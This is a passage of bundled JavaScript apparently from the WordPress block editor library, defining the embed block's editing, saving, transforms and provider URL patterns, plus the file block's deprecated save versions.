      /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
        embed_controls_default,
        {
          showEditButton: preview &amp;&amp; !cannotEmbed,
          themeSupportsResponsive,
          blockSupportsResponsive: responsive,
          allowResponsive,
          toggleResponsive,
          switchBackToURLInput: () =&gt; setIsEditingURL(true)
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime235.jsxs)(
        &quot;figure&quot;,
        {
          ...blockProps,
          className: clsx_default(blockProps.className, className, {
            [`is-type-${type}`]: type,
            [`is-provider-${providerNameSlug}`]: providerNameSlug,
            [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
              EmbedPreview,
              {
                preview,
                previewable,
                className,
                url,
                type,
                caption,
                onCaptionChange: (value) =&gt; setAttributes({ caption: value }),
                isSelected,
                icon: icon4,
                label,
                insertBlocksAfter,
                attributes: attributes2,
                setAttributes
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
              Caption,
              {
                attributes: attributes2,
                setAttributes,
                isSelected,
                insertBlocksAfter,
                label: (0, import_i18n60.__)(&quot;Embed caption text&quot;),
                showToolbarButton: isSelected
              }
            )
          ]
        }
      )
    ] });
  };
  var edit_default9 = EmbedEdit;

  // packages/block-library/build-module/embed/save.mjs
  var import_block_editor76 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime236 = __toESM(require_jsx_runtime(), 1);
  function save16({ attributes: attributes2 }) {
    const { url, caption, type, providerNameSlug } = attributes2;
    if (!url) {
      return null;
    }
    const className = clsx_default(&quot;wp-block-embed&quot;, {
      [`is-type-${type}`]: type,
      [`is-provider-${providerNameSlug}`]: providerNameSlug,
      [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
    });
    return /* @__PURE__ */ (0, import_jsx_runtime236.jsxs)(&quot;figure&quot;, { ...import_block_editor76.useBlockProps.save({ className }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed__wrapper&quot;, children: `
${url}
` }),
      !import_block_editor76.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(
        import_block_editor76.RichText.Content,
        {
          className: (0, import_block_editor76.__experimentalGetElementClassName)(&quot;caption&quot;),
          tagName: &quot;figcaption&quot;,
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/embed/transforms.mjs
  var import_blocks26 = __toESM(require_blocks(), 1);
  var { name: EMBED_BLOCK } = block_default7;
  var transforms7 = {
    from: [
      {
        type: &quot;raw&quot;,
        isMatch: (node) =&gt; node.nodeName === &quot;P&quot; &amp;&amp; /^\s*(https?:\/\/\S+)\s*$/i.test(node.textContent) &amp;&amp; node.textContent?.match(/https/gi)?.length === 1,
        transform: (node) =&gt; {
          return (0, import_blocks26.createBlock)(EMBED_BLOCK, {
            url: node.textContent.trim()
          });
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        isMatch: ({ url }) =&gt; !!url,
        transform: ({ url, caption, className }) =&gt; {
          let value = `&lt;a href=&quot;${url}&quot;&gt;${url}&lt;/a&gt;`;
          if (caption?.trim()) {
            value += `&lt;br /&gt;${caption}`;
          }
          return (0, import_blocks26.createBlock)(&quot;core/paragraph&quot;, {
            content: value,
            className: removeAspectRatioClasses(className)
          });
        }
      }
    ]
  };
  var transforms_default8 = transforms7;

  // packages/block-library/build-module/embed/variations.mjs
  var import_i18n61 = __toESM(require_i18n(), 1);
  function getTitle(providerName) {
    return (0, import_i18n61.sprintf)(
      /* translators: %s: provider name */
      (0, import_i18n61.__)(&quot;%s Embed&quot;),
      providerName
    );
  }
  var variations4 = [
    {
      name: &quot;twitter&quot;,
      title: getTitle(&quot;X&quot;),
      icon: embedTwitterIcon,
      keywords: [&quot;x&quot;, &quot;twitter&quot;, &quot;tweet&quot;, (0, import_i18n61.__)(&quot;social&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed an X post.&quot;),
      patterns: [/^https?:\/\/(www\.)?twitter\.com\/.+/i],
      attributes: { providerNameSlug: &quot;twitter&quot;, responsive: true }
    },
    {
      name: &quot;youtube&quot;,
      title: getTitle(&quot;YouTube&quot;),
      icon: embedYouTubeIcon,
      keywords: [(0, import_i18n61.__)(&quot;music&quot;), (0, import_i18n61.__)(&quot;video&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a YouTube video.&quot;),
      patterns: [
        /^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,
        /^https?:\/\/youtu\.be\/.+/i
      ],
      attributes: { providerNameSlug: &quot;youtube&quot;, responsive: true }
    },
    {
      // Deprecate Facebook Embed per FB policy
      // See: https://developers.facebook.com/docs/plugins/oembed-legacy
      name: &quot;facebook&quot;,
      title: getTitle(&quot;Facebook&quot;),
      icon: embedFacebookIcon,
      keywords: [(0, import_i18n61.__)(&quot;social&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a Facebook post.&quot;),
      scope: [&quot;block&quot;],
      patterns: [],
      attributes: {
        providerNameSlug: &quot;facebook&quot;,
        previewable: false,
        responsive: true
      }
    },
    {
      // Deprecate Instagram per FB policy
      // See: https://developers.facebook.com/docs/instagram/oembed-legacy
      name: &quot;instagram&quot;,
      title: getTitle(&quot;Instagram&quot;),
      icon: embedInstagramIcon,
      keywords: [(0, import_i18n61.__)(&quot;image&quot;), (0, import_i18n61.__)(&quot;social&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed an Instagram post.&quot;),
      scope: [&quot;block&quot;],
      patterns: [],
      attributes: { providerNameSlug: &quot;instagram&quot;, responsive: true }
    },
    {
      name: &quot;wordpress&quot;,
      title: getTitle(&quot;WordPress&quot;),
      icon: embedWordPressIcon,
      keywords: [(0, import_i18n61.__)(&quot;post&quot;), (0, import_i18n61.__)(&quot;blog&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a WordPress post.&quot;),
      attributes: {
        providerNameSlug: &quot;wordpress&quot;
      }
    },
    {
      name: &quot;soundcloud&quot;,
      title: getTitle(&quot;SoundCloud&quot;),
      icon: embedAudioIcon,
      keywords: [(0, import_i18n61.__)(&quot;music&quot;), (0, import_i18n61.__)(&quot;audio&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed SoundCloud content.&quot;),
      patterns: [/^https?:\/\/(www\.)?soundcloud\.com\/.+/i],
      attributes: { providerNameSlug: &quot;soundcloud&quot;, responsive: true }
    },
    {
      name: &quot;spotify&quot;,
      title: getTitle(&quot;Spotify&quot;),
      icon: embedSpotifyIcon,
      keywords: [(0, import_i18n61.__)(&quot;music&quot;), (0, import_i18n61.__)(&quot;audio&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Spotify content.&quot;),
      patterns: [/^https?:\/\/(open|play)\.spotify\.com\/.+/i],
      attributes: { providerNameSlug: &quot;spotify&quot;, responsive: true }
    },
    {
      name: &quot;flickr&quot;,
      title: getTitle(&quot;Flickr&quot;),
      icon: embedFlickrIcon,
      keywords: [(0, import_i18n61.__)(&quot;image&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Flickr content.&quot;),
      patterns: [
        /^https?:\/\/(www\.)?flickr\.com\/.+/i,
        /^https?:\/\/flic\.kr\/.+/i
      ],
      attributes: { providerNameSlug: &quot;flickr&quot;, responsive: true }
    },
    {
      name: &quot;vimeo&quot;,
      title: getTitle(&quot;Vimeo&quot;),
      icon: embedVimeoIcon,
      keywords: [(0, import_i18n61.__)(&quot;video&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a Vimeo video.&quot;),
      patterns: [/^https?:\/\/(www\.)?vimeo\.com\/.+/i],
      attributes: { providerNameSlug: &quot;vimeo&quot;, responsive: true }
    },
    {
      name: &quot;animoto&quot;,
      title: getTitle(&quot;Animoto&quot;),
      icon: embedAnimotoIcon,
      description: (0, import_i18n61.__)(&quot;Embed an Animoto video.&quot;),
      patterns: [/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i],
      attributes: { providerNameSlug: &quot;animoto&quot;, responsive: true }
    },
    {
      name: &quot;cloudup&quot;,
      title: getTitle(&quot;Cloudup&quot;),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)(&quot;Embed Cloudup content.&quot;),
      patterns: [/^https?:\/\/cloudup\.com\/.+/i],
      attributes: { providerNameSlug: &quot;cloudup&quot;, responsive: true }
    },
    {
      // Deprecated since CollegeHumor content is now powered by YouTube.
      name: &quot;collegehumor&quot;,
      title: getTitle(&quot;CollegeHumor&quot;),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)(&quot;Embed CollegeHumor content.&quot;),
      scope: [&quot;block&quot;],
      patterns: [],
      attributes: { providerNameSlug: &quot;collegehumor&quot;, responsive: true }
    },
    {
      name: &quot;crowdsignal&quot;,
      title: getTitle(&quot;Crowdsignal&quot;),
      icon: embedContentIcon,
      keywords: [&quot;polldaddy&quot;, (0, import_i18n61.__)(&quot;survey&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Crowdsignal (formerly Polldaddy) content.&quot;),
      patterns: [
        /^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.crowdsignal\.net|.+\.survey\.fm)\/.+/i
      ],
      attributes: { providerNameSlug: &quot;crowdsignal&quot;, responsive: true }
    },
    {
      name: &quot;dailymotion&quot;,
      title: getTitle(&quot;Dailymotion&quot;),
      icon: embedDailymotionIcon,
      keywords: [(0, import_i18n61.__)(&quot;video&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a Dailymotion video.&quot;),
      patterns: [/^https?:\/\/(www\.)?dailymotion\.com\/.+/i],
      attributes: { providerNameSlug: &quot;dailymotion&quot;, responsive: true }
    },
    {
      name: &quot;imgur&quot;,
      title: getTitle(&quot;Imgur&quot;),
      icon: embedPhotoIcon,
      description: (0, import_i18n61.__)(&quot;Embed Imgur content.&quot;),
      patterns: [/^https?:\/\/(.+\.)?imgur\.com\/.+/i],
      attributes: { providerNameSlug: &quot;imgur&quot;, responsive: true }
    },
    {
      name: &quot;issuu&quot;,
      title: getTitle(&quot;Issuu&quot;),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)(&quot;Embed Issuu content.&quot;),
      patterns: [/^https?:\/\/(www\.)?issuu\.com\/.+/i],
      attributes: { providerNameSlug: &quot;issuu&quot;, responsive: true }
    },
    {
      name: &quot;kickstarter&quot;,
      title: getTitle(&quot;Kickstarter&quot;),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)(&quot;Embed Kickstarter content.&quot;),
      patterns: [
        /^https?:\/\/(www\.)?kickstarter\.com\/.+/i,
        /^https?:\/\/kck\.st\/.+/i
      ],
      attributes: { providerNameSlug: &quot;kickstarter&quot;, responsive: true }
    },
    {
      name: &quot;mixcloud&quot;,
      title: getTitle(&quot;Mixcloud&quot;),
      icon: embedAudioIcon,
      keywords: [(0, import_i18n61.__)(&quot;music&quot;), (0, import_i18n61.__)(&quot;audio&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Mixcloud content.&quot;),
      patterns: [/^https?:\/\/(www\.)?mixcloud\.com\/.+/i],
      attributes: { providerNameSlug: &quot;mixcloud&quot;, responsive: true }
    },
    {
      name: &quot;pocket-casts&quot;,
      title: getTitle(&quot;Pocket Casts&quot;),
      icon: embedPocketCastsIcon,
      keywords: [(0, import_i18n61.__)(&quot;podcast&quot;), (0, import_i18n61.__)(&quot;audio&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a podcast player from Pocket Casts.&quot;),
      patterns: [/^https:\/\/pca.st\/\w+/i],
      attributes: { providerNameSlug: &quot;pocket-casts&quot;, responsive: true }
    },
    {
      name: &quot;reddit&quot;,
      title: getTitle(&quot;Reddit&quot;),
      icon: embedRedditIcon,
      description: (0, import_i18n61.__)(&quot;Embed a Reddit thread.&quot;),
      patterns: [/^https?:\/\/(www\.)?reddit\.com\/.+/i],
      attributes: { providerNameSlug: &quot;reddit&quot;, responsive: true }
    },
    {
      name: &quot;reverbnation&quot;,
      title: getTitle(&quot;ReverbNation&quot;),
      icon: embedAudioIcon,
      description: (0, import_i18n61.__)(&quot;Embed ReverbNation content.&quot;),
      patterns: [/^https?:\/\/(www\.)?reverbnation\.com\/.+/i],
      attributes: { providerNameSlug: &quot;reverbnation&quot;, responsive: true }
    },
    {
      name: &quot;scribd&quot;,
      title: getTitle(&quot;Scribd&quot;),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)(&quot;Embed Scribd content.&quot;),
      patterns: [/^https?:\/\/(www\.)?scribd\.com\/.+/i],
      attributes: { providerNameSlug: &quot;scribd&quot;, responsive: true }
    },
    {
      name: &quot;smugmug&quot;,
      title: getTitle(&quot;SmugMug&quot;),
      icon: embedPhotoIcon,
      description: (0, import_i18n61.__)(&quot;Embed SmugMug content.&quot;),
      patterns: [/^https?:\/\/(.+\.)?smugmug\.com\/.*/i],
      attributes: {
        providerNameSlug: &quot;smugmug&quot;,
        previewable: false,
        responsive: true
      }
    },
    {
      name: &quot;speaker-deck&quot;,
      title: getTitle(&quot;Speaker Deck&quot;),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)(&quot;Embed Speaker Deck content.&quot;),
      patterns: [/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i],
      attributes: { providerNameSlug: &quot;speaker-deck&quot;, responsive: true }
    },
    {
      name: &quot;tiktok&quot;,
      title: getTitle(&quot;TikTok&quot;),
      icon: embedVideoIcon,
      keywords: [(0, import_i18n61.__)(&quot;video&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a TikTok video.&quot;),
      patterns: [/^https?:\/\/(www\.)?tiktok\.com\/.+/i],
      attributes: { providerNameSlug: &quot;tiktok&quot;, responsive: true }
    },
    {
      name: &quot;ted&quot;,
      title: getTitle(&quot;TED&quot;),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)(&quot;Embed a TED video.&quot;),
      patterns: [/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i],
      attributes: { providerNameSlug: &quot;ted&quot;, responsive: true }
    },
    {
      name: &quot;tumblr&quot;,
      title: getTitle(&quot;Tumblr&quot;),
      icon: embedTumblrIcon,
      keywords: [(0, import_i18n61.__)(&quot;social&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a Tumblr post.&quot;),
      patterns: [/^https?:\/\/(.+)\.tumblr\.com\/.+/i],
      attributes: { providerNameSlug: &quot;tumblr&quot;, responsive: true }
    },
    {
      name: &quot;videopress&quot;,
      title: getTitle(&quot;VideoPress&quot;),
      icon: embedVideoIcon,
      keywords: [(0, import_i18n61.__)(&quot;video&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed a VideoPress video.&quot;),
      patterns: [/^https?:\/\/videopress\.com\/.+/i],
      attributes: { providerNameSlug: &quot;videopress&quot;, responsive: true }
    },
    {
      name: &quot;wordpress-tv&quot;,
      title: getTitle(&quot;WordPress.tv&quot;),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)(&quot;Embed a WordPress.tv video.&quot;),
      patterns: [/^https?:\/\/wordpress\.tv\/.+/i],
      attributes: { providerNameSlug: &quot;wordpress-tv&quot;, responsive: true }
    },
    {
      name: &quot;amazon-kindle&quot;,
      title: getTitle(&quot;Amazon Kindle&quot;),
      icon: embedAmazonIcon,
      keywords: [(0, import_i18n61.__)(&quot;ebook&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Amazon Kindle content.&quot;),
      patterns: [
        /^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,
        /^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i
      ],
      attributes: { providerNameSlug: &quot;amazon-kindle&quot; }
    },
    {
      name: &quot;pinterest&quot;,
      title: getTitle(&quot;Pinterest&quot;),
      icon: embedPinterestIcon,
      keywords: [(0, import_i18n61.__)(&quot;social&quot;), (0, import_i18n61.__)(&quot;bookmark&quot;)],
      description: (0, import_i18n61.__)(&quot;Embed Pinterest pins, boards, and profiles.&quot;),
      patterns: [
        /^https?:\/\/([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?\/.*/i
      ],
      attributes: { providerNameSlug: &quot;pinterest&quot; }
    },
    {
      name: &quot;wolfram-cloud&quot;,
      title: getTitle(&quot;Wolfram&quot;),
      icon: embedWolframIcon,
      description: (0, import_i18n61.__)(&quot;Embed Wolfram notebook content.&quot;),
      patterns: [/^https?:\/\/(www\.)?wolframcloud\.com\/obj\/.+/i],
      attributes: { providerNameSlug: &quot;wolfram-cloud&quot;, responsive: true }
    },
    {
      name: &quot;bluesky&quot;,
      title: getTitle(&quot;Bluesky&quot;),
      icon: embedBlueskyIcon,
      description: (0, import_i18n61.__)(&quot;Embed a Bluesky post.&quot;),
      patterns: [/^https?:\/\/bsky\.app\/profile\/.+\/post\/.+/i],
      attributes: { providerNameSlug: &quot;bluesky&quot; }
    }
  ];
  variations4.forEach((variation) =&gt; {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) =&gt; blockAttributes8.providerNameSlug === variationAttributes.providerNameSlug;
  });
  var variations_default4 = variations4;

  // packages/block-library/build-module/embed/deprecated.mjs
  var import_block_editor77 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime237 = __toESM(require_jsx_runtime(), 1);
  var { attributes: blockAttributes3 } = block_default7;
  var v25 = {
    attributes: blockAttributes3,
    save({ attributes: attributes2 }) {
      const { url, caption, type, providerNameSlug } = attributes2;
      if (!url) {
        return null;
      }
      const className = clsx_default(&quot;wp-block-embed&quot;, {
        [`is-type-${type}`]: type,
        [`is-provider-${providerNameSlug}`]: providerNameSlug,
        [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
      });
      return /* @__PURE__ */ (0, import_jsx_runtime237.jsxs)(&quot;figure&quot;, { ...import_block_editor77.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed__wrapper&quot;, children: `
${url}
` }),
        !import_block_editor77.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_block_editor77.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var v113 = {
    attributes: blockAttributes3,
    save({ attributes: { url, caption, type, providerNameSlug } }) {
      if (!url) {
        return null;
      }
      const embedClassName = clsx_default(&quot;wp-block-embed&quot;, {
        [`is-type-${type}`]: type,
        [`is-provider-${providerNameSlug}`]: providerNameSlug
      });
      return /* @__PURE__ */ (0, import_jsx_runtime237.jsxs)(&quot;figure&quot;, { className: embedClassName, children: [
        `
${url}
`,
        !import_block_editor77.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_block_editor77.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var deprecated5 = [v25, v113];
  var deprecated_default15 = deprecated5;

  // packages/block-library/build-module/embed/index.mjs
  var { name: name32 } = block_default7;
  var settings32 = {
    icon: embedContentIcon,
    edit: edit_default9,
    save: save16,
    transforms: transforms_default8,
    variations: variations_default4,
    deprecated: deprecated_default15
  };
  var init32 = () =&gt; initBlock({ name: name32, metadata: block_default7, settings: settings32 });

  // packages/block-library/build-module/file/index.mjs
  var file_exports = {};
  __export(file_exports, {
    init: () =&gt; init33,
    metadata: () =&gt; block_default33,
    name: () =&gt; name33,
    settings: () =&gt; settings33
  });
  var import_i18n65 = __toESM(require_i18n(), 1);
  var import_blocks28 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/file/deprecated.mjs
  var import_block_editor78 = __toESM(require_block_editor(), 1);
  var import_i18n62 = __toESM(require_i18n(), 1);
  var import_jsx_runtime238 = __toESM(require_jsx_runtime(), 1);
  var v32 = {
    attributes: {
      id: {
        type: &quot;number&quot;
      },
      href: {
        type: &quot;string&quot;
      },
      fileId: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;id&quot;
      },
      fileName: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a:not([download])&quot;
      },
      textLinkHref: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;href&quot;
      },
      textLinkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;target&quot;
      },
      showDownloadButton: {
        type: &quot;boolean&quot;,
        default: true
      },
      downloadButtonText: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a[download]&quot;
      },
      displayPreview: {
        type: &quot;boolean&quot;
      },
      previewHeight: {
        type: &quot;number&quot;,
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileId,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)(&quot;PDF embed&quot;) : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)(&quot;Embed of %s.&quot;),
        fileName
      );
      const hasFilename = !import_block_editor78.RichText.isEmpty(fileName);
      const describedById = hasFilename ? fileId : void 0;
      return href &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(&quot;div&quot;, { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;object&quot;,
          {
            className: &quot;wp-block-file__embed&quot;,
            data: href,
            type: &quot;application/pdf&quot;,
            style: {
              width: &quot;100%&quot;,
              height: `${previewHeight}px`
            },
            &quot;aria-label&quot;: pdfEmbedLabel
          }
        ) }),
        hasFilename &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            id: describedById,
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? &quot;noreferrer noopener&quot; : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            href,
            className: clsx_default(
              &quot;wp-block-file__button&quot;,
              (0, import_block_editor78.__experimentalGetElementClassName)(&quot;button&quot;)
            ),
            download: true,
            &quot;aria-describedby&quot;: describedById,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var v26 = {
    attributes: {
      id: {
        type: &quot;number&quot;
      },
      href: {
        type: &quot;string&quot;
      },
      fileId: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;id&quot;
      },
      fileName: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a:not([download])&quot;
      },
      textLinkHref: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;href&quot;
      },
      textLinkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;target&quot;
      },
      showDownloadButton: {
        type: &quot;boolean&quot;,
        default: true
      },
      downloadButtonText: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a[download]&quot;
      },
      displayPreview: {
        type: &quot;boolean&quot;
      },
      previewHeight: {
        type: &quot;number&quot;,
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileId,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)(&quot;PDF embed&quot;) : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)(&quot;Embed of %s.&quot;),
        fileName
      );
      const hasFilename = !import_block_editor78.RichText.isEmpty(fileName);
      const describedById = hasFilename ? fileId : void 0;
      return href &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(&quot;div&quot;, { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;object&quot;,
          {
            className: &quot;wp-block-file__embed&quot;,
            data: href,
            type: &quot;application/pdf&quot;,
            style: {
              width: &quot;100%&quot;,
              height: `${previewHeight}px`
            },
            &quot;aria-label&quot;: pdfEmbedLabel
          }
        ) }),
        hasFilename &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            id: describedById,
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? &quot;noreferrer noopener&quot; : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            href,
            className: &quot;wp-block-file__button&quot;,
            download: true,
            &quot;aria-describedby&quot;: describedById,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var v114 = {
    attributes: {
      id: {
        type: &quot;number&quot;
      },
      href: {
        type: &quot;string&quot;
      },
      fileName: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a:not([download])&quot;
      },
      textLinkHref: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;href&quot;
      },
      textLinkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;target&quot;
      },
      showDownloadButton: {
        type: &quot;boolean&quot;,
        default: true
      },
      downloadButtonText: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a[download]&quot;
      },
      displayPreview: {
        type: &quot;boolean&quot;
      },
      previewHeight: {
        type: &quot;number&quot;,
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)(&quot;PDF embed&quot;) : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)(&quot;Embed of %s.&quot;),
        fileName
      );
      return href &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(&quot;div&quot;, { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;object&quot;,
          {
            className: &quot;wp-block-file__embed&quot;,
            data: href,
            type: &quot;application/pdf&quot;,
            style: {
              width: &quot;100%&quot;,
              height: `${previewHeight}px`
            },
            &quot;aria-label&quot;: pdfEmbedLabel
          }
        ) }),
        !import_block_editor78.RichText.isEmpty(fileName) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? &quot;noreferrer noopener&quot; : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          &quot;a&quot;,
          {
            href,
            className: &quot;wp-block-file__button&quot;,
            download: true,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var deprecated6 = [v32, v26, v114];
  var deprecated_default16 = deprecated6;

  // packages/block-library/build-module/file/edit.mjs
  var import_blob7 = __toESM(require_blob(), 1);
  var import_components42 = __toESM(require_components(), 1);
  var import_data33 = __toESM(require_data(), 1);
  var import_block_editor80 = __toESM(require_block_editor(), 1);
  var import_element29 = __toESM(require_element(), 1);
  var import_compose19 = __toESM(require_compose(), 1);
  var import_i18n64 = __toESM(require_i18n(), 1);
  var import_core_data18 = __toESM(require_core_data(), 1);
  var import_notices5 = __toESM(require_notices(), 1);
  var import_url7 = __toESM(require_url(), 1);

  // packages/block-library/build-module/file/inspector.mjs
  var import_i18n63 = __toESM(require_i18n(), 1);
  var import_components41 = __toESM(require_components(), 1);
  var import_block_editor79 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime239 = __toESM(require_jsx_runtime(), 1);
  function FileBlockInspector({
    hrefs,
    openInNewWindow,
    showDownloadButton,
    changeLinkDestinationOption,
    changeOpenInNewWindow,
    changeShowDownloadButton,
    displayPreview,
    changeDisplayPreview,
    previewHeight,
    changePreviewHeight
  }) {
    const { href, textLinkHref, attachmentPage } = hrefs;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
